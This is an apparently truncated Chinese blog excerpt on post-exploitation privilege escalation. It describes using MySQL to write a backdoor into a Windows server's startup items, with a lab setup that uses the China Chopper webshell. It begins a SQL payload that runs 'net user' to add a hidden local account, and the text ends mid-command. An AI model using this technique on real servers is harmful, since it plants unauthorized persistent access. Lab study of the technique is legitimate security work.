后渗透—— 数据库之开机启动项提权

开机启动项提权原理：利用mysql，将后门写入开机自启动项。同时因为是开机自启动，再写入之后，需要重启目标服务器。(这个要求mysql的权限就很高，至少是管理员权限甚至是system) 实验环境 Windows Server 2008 R2 x64 MySQL-5.5.15-(64-bit).msi 菜刀 模拟实验 在菜刀中输入select "net user zs 123.com /add &

>>阅读原文<<